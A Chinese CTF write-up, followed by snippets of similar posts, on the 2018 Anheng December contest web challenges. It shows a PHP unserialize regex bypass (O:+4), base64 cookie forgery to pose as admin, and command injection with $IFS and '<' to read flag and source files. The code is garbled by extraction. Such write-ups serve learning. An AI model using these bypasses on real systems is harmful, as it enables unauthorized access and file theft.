2018安恆杯12月月賽復現

2021-09-11 18:43:41 字數 4055 閱讀 7504

萌新因為種種原因沒有做安恆12月的月賽題,正巧這幾天發現復現,又學到了新知識!

題目index.php給出原始碼:

<?php 

@error_reporting(1

);include

'flag.php'

;class

baby";

if(file_get_contents

($filename))

}}}if

(isset

($_get

['data'])

)else

}else

?>

這題一開始沒看懂到底是啥意思,一開始定義了乙個baby類,然後在下面完全沒有用到有關這個類的任何東西,所以身為萌新的我一臉矇圈…後來經過仔細地閱讀**,大量的查閱資料,現了其中的貓膩…

分析:

**一開始包含檔案flag.php

然後定義了乙個類,類成員變數$file,重寫__tostring()方法,這個方法就是將以$filename為檔名的檔案輸出;

接著對data進行正則匹配preg_match('/[oc]:\d+:/i',$data,$matches),匹配結果放入$matches,匹配成功就die('hacker!'),不成功就對輸入的$data進行反序列化並輸出;

解題方法:

其實這個題理解了以後就不難了,目標是輸出flag.php的內容,所以構造的data肯定也與包含的檔名相關;

先對flag.php進行序列化並輸出,指令碼如下:

<?php 

class

baby";

if(file_get_contents

($filename))

}}}$a

=new

baby()

;$a->

file

='flag.php';$b

=serialize($a

);echo($b

);?>

***測試結果輸出:***o:4:"baby":1:直接get這個值會匹配正規表示式,所以就要想辦法繞過;

繞過方法:該函式設計的初衷是為了不讓object型別被反序列化,然而正則不夠嚴謹,我們可以在物件長度前加乙個+號,即o:4 -> o:+4,即可繞過這層檢測,從而使得我們可控的資料傳入unserialize函式;

構造如下:o:+4:"baby":1:

將這個字元傳入unserialize函式以後會直接反序列化出乙個baby的物件$good$good->fileflag.php,反序列化後會直接預設呼叫魔術方法__tostring()輸出檔案內容;

所以歸根結底還是乙個正則繞過+反序列化的問題,將構造的data經過url編碼以後get進去即可得到flag;(不知道為啥直接在瀏覽器裡傳參沒用,所以就用bp構造get了一下)

這題拿到以後沒有切入點…老辦法…掃一波目錄,發現admin.phpconfig.php

進入admin.php發現you are not admin…,基本定下思路就是偽造管理員身份登入,檢視請求頭中的資訊發現cookie的user=dxnlcg%3d%3d推測為base64編碼,解碼為user

要求以管理員身份登入,於是偽造useradmin,base64編碼一下修改cookie的值為ywrtaw4=;重新整理網頁後發現進入了如下介面;

輸入ls發現回顯;

輸入ls /想檢視根目錄報錯error,輸入cat admin.php報錯,設想是過濾了空格,google了一下空格的繞過方式如下:ifs的預設值為:空白(包括:空格,tab, 和新行)

$嘗試繞過,輸入ls$/,發現回顯中有flag資訊:

直接cat$/fflag_404得到flag:

事後想檢視admin.php和config.php的內容,發現$無效,於是嘗試<>成功,直接cat<>admin.php和config.php即可;

admin.php

<?php 

include

'config.php';if

(!isset

($_session

['admin'])

||$_session

['admin'

]===

false)if

(@$_post

['cmd'])

else

}else

include

'./templates/admin.html'

;

config.php

<?php 

session_start()

;function

waf_exec

($str

)|

發現確實用waf_exec()函式過濾了空格,>,等一系列符號,但是沒有過濾< / $,所以可以直接用《和$ifs繞過即可;

得到的編碼為base32,直接解碼md5一下即可

安恆杯12月月賽

這次的月賽可以說非常適合我這種菜雞做了請求包中發現乙個user base64 解碼得到user,構造admin 然後base64提交 發現跳轉到後台admin.php 試了乙個ls發現有回顯,應該是個命令執行漏洞 構造 cmd ls ifs 成功回顯 然後讀取flag cmd cat ifs ffl...

安恆2023年12月月賽wp web部分

試試訪問admin.php,之後頁面顯示 you are not admin 因為題目並沒有登入功能,猜測可能要對cookie做點文章來偽裝成admin。用burp抓包看請求頭如下 發現user欄位,把值解base64得user 3d是 的url編碼,解碼的時候記得把 3d換成 根據這個思路,就把a...

安恆月賽 2023年12月

沒啥好說的,什麼牛不能跑?蝸牛 題目 解題思路 拿到題目後,掃了一波 發現 admin.php 進入檢視,顯示無法進入 檢視頁面資訊,發現user登入資訊,在儲存值可更改。將其先進行url decode,dxnlcg 然後,base64 decode,user。然後,考慮到admin登入,於是將ad...